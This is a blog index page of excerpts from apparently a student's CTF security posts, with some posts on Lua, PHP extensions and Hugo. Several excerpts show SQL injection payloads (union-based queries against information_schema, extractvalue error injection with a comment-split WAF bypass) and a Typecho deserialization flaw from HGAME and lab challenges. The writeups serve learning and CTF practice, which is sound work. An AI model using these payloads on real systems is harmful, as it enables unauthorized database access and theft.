All Posts

Openresty+lua 学习记录

lua数据类型 数据类型 描述 nil 这个最简单,只有值nil属于该类,表示一个无效值(在条件表达式中相当于false)。 boolean 包含两个值:false和true。 number 表示双精度类型的实浮点数 string 字符串由一对双引号或单引号来表示 function 由 C 或 Lua 编写的函数 userdata 表示任意存储在变量中的C数据结构 thread 表示执行的独立线路,用于执行协同程序 table Lua 中的表(table)其实是一个”关联数组”(associative arrays),数组的索引可以是数字、字符串或表类型。在 Lua 里,table 的创建是通过”构造表达式”来完成,最简单构造表达式是{},用来创建一个空表。 type() 没有赋值的变量也就为nil类型 > type(a) nil 使用type得到的数据类型作比较时应加上双引号 > type(a) == nil false > type(a) == "nil" true 因为 type(type(X))==string。

编写一个简单的php扩展

0x00 从源码编译安装php 使用的环境:Ubuntu 18.04 从php.net上下载 php7.3.7的源码,解压到本地。 安装编译php所需要的依赖及软件: sudo apt-get install gcc sudo apt-get install libxml2-dev sudo apt-get install openssl sudo apt-get install libssl-dev sudo apt-get install make sudo apt-get install curl sudo apt-get install libcurl4-gnutls-dev sudo apt-get install libjpeg-dev sudo apt-get install libpng-dev sudo apt-get install libmcrypt-dev sudo apt-get install autoconf 进入php目录 执行 ./buildconf --force ./configure --prefix=/usr/local/php --enable-fpm make make install 即可编译安装完成php 0x01 编写一个简单的php扩展 PHP 提供了一个工具可以生成扩展文件的框架,进入ext目录: ext_skel.php ./ext_skel.php --help 可以看到这个工具的基本用法,这里我们使用

PHP Session 序列化机制及其引发的安全漏洞

0x00 前言 由于HTTP协议是无状态的,因此其在处理登陆等需要长时间维持的状态时就显得很无力了,因此引入了Session,将这种状态以文件的形式存储在服务端。虽说在服务端存储Session尽可能的避免了Cookie的在客户端本地存储的安全性问题,但若是开发人员在开发过程中使用不当,便会引发一些严重的安全问题。 0x01 Session配置选项及存储方式 几个主要的与Session存储和序列化存储有关的配置选项: session.save_path="" 设置session的存储路径 session.save_handler="" 设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen 指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler string 定义用来序列化/反序列化的处理器名字。默认使用php (php>=5.4默认 php_serialize) session.serialize_handler 主要了解一下session.serialize_handler 选项 可以理解为,该配置表明了php在存储Session时的方式 php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 php_serialize 把整个$_SESSION数组作为一个数组序列化 例: <?php ini_set('session.serialize_handler', 'php'); session_start(); $_SESSION['name'] = 'annevi'; ?> 当session.serialize_handler设置为php时 session 的内容为 :name|s:6:"annevi"; name 为键名,s:6:"annevi 则是 serialize("annevi") 的结果,键名和键值之间通过 |符号分割。

Typecho install.php 反序列化漏洞复现

作为一只鸽子,本来一个多月前就该完成的东西硬生生的拖到了现在 …… 趁着复习数电到自闭的时候再次复现一下这个洞吧。。 0x01 漏洞分析 在typecho 的 install.php文件中,有这么一段代码: <?php $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config'))); Typecho_Cookie::delete('__typecho_config'); $db = new Typecho_Db($config['adapter'], $config['prefix']); //实例化了一个对象。 跟进 $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE); Typecho_Db::set($db); ?> 可以看见调用了Typecho_Cookie类中的get方法,获取名为__typecho_config的Cookie,并且经过base64解码后再进行反序列化,并把最后的值给了$config变量。 随后取出$config['adapter']和$config['prefix']实例化了一个对象 ,跟进,在db.php中: <?php public function __construct($adapterName, $prefix = 'typecho_') { /** 获取适配器名称 */ $this->_adapterName = $adapterName; /** 数据库适配器 */ $adapterName = 'Typecho_Db_Adapter_' . $adapterName; //如果$adapterName是一个类 在进行字符串拼接的时候会自动调用魔术方法 __toString 方法 那就去找一找它 if (!call_user_func(array($adapterName, 'isAvailable'))) { throw new Typecho_Db_Exception("Adapter {$adapterName}is not available"); } $this->_prefix = $prefix; /** 初始化内部变量 */ $this->_pool = array(); $this->_connectedPool = array(); $this->_config = array(); //实例化适配器对象o $this->_adapter = new $adapterName(); //实例化$adapterName } 这里没别的东西了,于是就去寻找 __toString魔术方法: 在Feed.

hugo 部署小记 — 不使用github将博客部署直接在服务器上

之前博客一直用的wordpress,感觉过于臃肿,了解了hugo之后,高颜值使我决定将博客搬迁到hugo上。 网上的教程大多都是将hugo推到github上,再利用github提供的git pages完成博客的部署,出于(不知道为什么)对git page的反感,决定自己动手在云服务器上直接部署hugo。 0x00 本地环境配置 hugo安装 这里以macOS为例: mac下可使用Homebrew 安装Hugo: brew install hugo 安装完成看一下是否安装成功: > hugo version Hugo Static Site Generator v0.55.5/extended darwin/amd64 BuildDate: unknown 出现上述内容则说明hugo安装完成 创建站点 & 主题配置 首先我们创建一个新的站点: hugo new site blog # blog为站点名 之后我们需要一个主题。 去欣赏hugo优雅简洁的主题吧~ 主题的相关设置如下操作: cd blog/themes # 进入博客的根目录 git clone 主题git地址 # 将主题文件clone到themes文件夹中 cd 主题文件夹/exampleSite/ cp config.toml ../../../ # 复制主题自带的配置文件到站点根目录 vim config.toml # 修改config 文件中的 baseURL 为之后需要使用的博客域名 # 回到根目录 新建文章 & 本地预览 完成了主题的配置后,可以开始创建第一篇文章啦 hugo new posts/hello_world.

php反序列化学习总结

0x00 前言 前面一篇关于php伪协议的总结中提到,phar://协议能够触发unserialize反序列化,因此会出现安全问题,那么这个安全问题具体指什么呢? 在HGAME 线下赛的 FINAL 一题中,就考察了这个知识点,之前有在一些题库中遇到反序列化的相关题目,但没细细学习,于是就借着这道0解的FINAL题来学习、总结一下PHP的反序列化漏洞。 0x01 序列化?反序列化? 由于之前没有系统地学习过php等面向对象的语言,所以最开始在bugku做题时看见这两个词汇的时候是懵逼的。 但是随着遇到该类题目的次数越来越多,也就不得不去好好的学习了解一下。 1.序列化 PHP的序列化与json数据类似,将各种类型的数据,压缩并按照一定的格式储存起来,实现序列化的函数为serialize(),为了更直观的看出序列化的方式和样子,我们举一个例子: <?php class test { private $test = 'Annevi'; } $object = new test(); $uns = serialize($object); echo $uns; 可以看到以下输出: 可以看到,我们写的test类中的数据被以序列化的形式储存起来。各个部分解释如下: 这里会发现,我们源代码中的属性名为test,但是经过序列化后却变成了testtest,并且属性名的长度为10,不符合我们的预期。 这其实涉及到了 PHP 的属性的访问权限问题,下面就稍作说明: php属性访问权限有三种: private、protected、public 先贴上测试代码: <?php class test { public $test = 'Annevi'; private $test2 = 'Annevi'; protected $test3 = 'Annevi'; } $object = new test(); $uns = serialize($object); echo $uns; 结果:

通过一道题初识extractvalue报错注入

0x01 初识extractvalue() 简单地讲,extractvalue()是对XML文档进行查询的函数 语法: extractvalue(xml文档名,Xpath) Xpath:一种用于查找XML文档中的信息的语言。 0x02 extractvalue报错注入原理? 疑惑一: 为什么extractvalue函数可以用来进行报错注入,即extractvalue报错注入的原理是什么? 解疑 :函数的第二个参数是关键,我们也是通过控制第二个参数进行报错注入,xml文档中查找字符位置时,应为/xxx/xxx/xxx这种格式,当第二个参数格式不正确时,就会产生Xpath语法错误,并返回我们输入的错误语句的内容。 因此,当我们在第二个参数的位置上输入我们想要查询的信息,并且让其产生语法错误,即可通过函数的报错得到我们所需要的信息,如: [例] select password from users where id=1 and (extractvalue(‘1’,concat(0x5c,select database()))) 上述语句即可报错返回当前所在数据库名。 0x03 实战–实验吧 加了料的报错注入 题目直接给出了执行sql查询时的语句: $sql="select * from users where username='$username' and password='$password'" 尝试了几个常见的注入手段,发现均被waf检测到,于是就开始尝试extractvalue报错注入。 但是这里需要用户输入两个值,username和password,从语句中看到,我们不能够将后半段直接全部注释,这样会使得无法提交password值,这里就用到了注释符/**/,可以注释中间内容,所以可以先构造: username='or extractvalue /*&password='*/(1,concat(0x5c,(select database())))or' 回显:XPATH syntax error: ‘\error_based_hpf’ 于是我们就得到了当前数据库名: error_based_hpf username='or extractvalue /*&password=*/(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema regexp database())))or' 回显:XPATH syntax error: ‘\ffll44jj,users’ 得到表名:ffll44jj,users username='or extractvalue /*&password=*/(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_name regexp 'ffll44jj')))or' 回显:XPATH syntax error: ‘\value’

php伪协议学习总结

0x00前言: hgame的线上和线下赛都陆续结束了,收获蛮多的,其中就有许多的题目涉及到了PHP伪协议的运用,趁着现在有点空余时间,也想起了之前司大哥让我好好的总结一下这方面的知识,于是便写一写这方面的有关知识。 首先给出官方文档:http://php.net/manual/zh/wrappers.php 包括以下一些内容: file:// (http://php.net/manual/zh/wrappers.file.php) — 访问本地文件系统 http:// (http://php.net/manual/zh/wrappers.http.php) — 访问 HTTP(s) 网址 ftp:// (http://php.net/manual/zh/wrappers.ftp.php) — 访问 FTP(s) URLs php:// (http://php.net/manual/zh/wrappers.php.php) — 访问各个输入/输出流(I/O streams) zlib:// (http://php.net/manual/zh/wrappers.compression.php) — 压缩流 data:// (http://php.net/manual/zh/wrappers.data.php) — 数据(RFC 2397) glob:// (http://php.net/manual/zh/wrappers.glob.php) — 查找匹配的文件路径模式 phar:// (http://php.net/manual/zh/wrappers.phar.php) — PHP 归档 ssh2:// (http://php.net/manual/zh/wrappers.ssh2.php) — Secure Shell 2 rar:// (http://php.net/manual/zh/wrappers.rar.php) — RAR ogg:// (http://php.net/manual/zh/wrappers.audio.php) — 音频流 expect:// (http://php.net/manual/zh/wrappers.expect.php) — 处理交互式的流 下面就按照我目前所做到的题目中,以上协议出现的大致频率作一些总结。 0x01 PHP输入流:php://input 相关 1.php://input的理解 第一次接触这个协议是在赛博的新生测试中,当时才刚刚接触CTF,什么都不会(虽说现在也差不多)。

HGAME 2019 week-4 writeup

emmm..这最后一周的题目已经是做不动了,还是太菜了,能做的做了,准备开启开学前的养身模式。。 WEB 0x01 HappyPHP [Description] flag 在管理员账号下。 题目的描述表明了我们需要达到的目的就是拿到管理员账号。 进入题目发现是PHP的laravel框架。先注册了一个账号,登陆后发现页面注释中放出了该题目的github仓库地址, https://github.com/Lou00/laravel于是先将其clone到本地。 首先大致的看了一下源码,看了好久终于发现了一处突破口: 可以看到,id===1时就可以得到flag,联系题目描述,也就是说管理员账号的id为1。 还可以看见用户的name没有经过任何的过滤直接带到了sql语句中,很明显的一个sql注入漏洞。 我们首先注册了一个账号:1’ union select database()# 登陆后发现成功实现sql注入,回显出了当前的数据库名 于是分别注册了: 1’ union select table_names from information_schema.tables where table_schema=database()# 回显: users ,找到了数据库hgame下的表users 1’ union select group_concat(column_name) from information_schema.columns where table_name=‘users’# 回显: 找到了表下的字段 id,name,email,password,remember_token,updated_at,created_at 1’ union select email from users where id=1# 回显:admin@hgame.com 找到了管理员的登陆email 1’ union select password from users where id=1# 回显猜测是base64编码,解码发现,这是laravel框架的cookie,于是便百度了相关的解密脚本: <?php $payload = ""; //加密参数 .

HGAME 2019 week-3 writeup

WEB 0x01 sqli-1 打开题目后, 有一行代码: substr(md5($_GET["code"]),0,4) === 3f77 就是一个通过截取md5的前4位用作一个验证码的效果,于是便写了一个脚本来碰撞md5的值: import hashlib def md5(s): return hashlib.md5(s.encode('utf-8')).hexdigest() for i in range(1, 1000000): if md5(str(i)).startswith('XXXX'): print(i) break 通过如上脚本便可以获得相应的code值。下面几题同理。 这题刚开始的时候出题人没给参数,所以一直觉得怪怪的…就一个code,后来更新了描述 告诉我们参数为id,那么就是一个很普通的sql注入题了。 首先尝试 了 id=1’ id=1 id=2-1发现 1’ 报错,于是确定该题为数字型sql注入。 首先构造: http://118.89.111.179:3000/index.php?code=xxxxx&id=1%20order%20by%201 发现显示正常,无报错 http://118.89.111.179:3000/index.php?code=xxxxx&id=1%20order%20by%202 出现sql error,故判断当前表中只有一个字段一列。试了以下几个payload: 1.查询当前数据库名: http://118.89.111.179:3000/index.php?code=xxxx&id=1 union select database() 得到当前数据库名 hgame 2.查询当前数据库下的所有表 http://118.89.111.179:3000/index.php?code=xxxx&id=1 union select table_name from information_schema.tables where table_schema=database() 得到: 观察发现 ,flag应该就在表 f1l1l1l1g 下 3.查询表f1l1l1l1g中的列 http://118.89.111.179:3000/index.php?code=xxxx&id=1 union select column_name from information_schema.columns where table_name='f1l1l1l1g' 得到 4.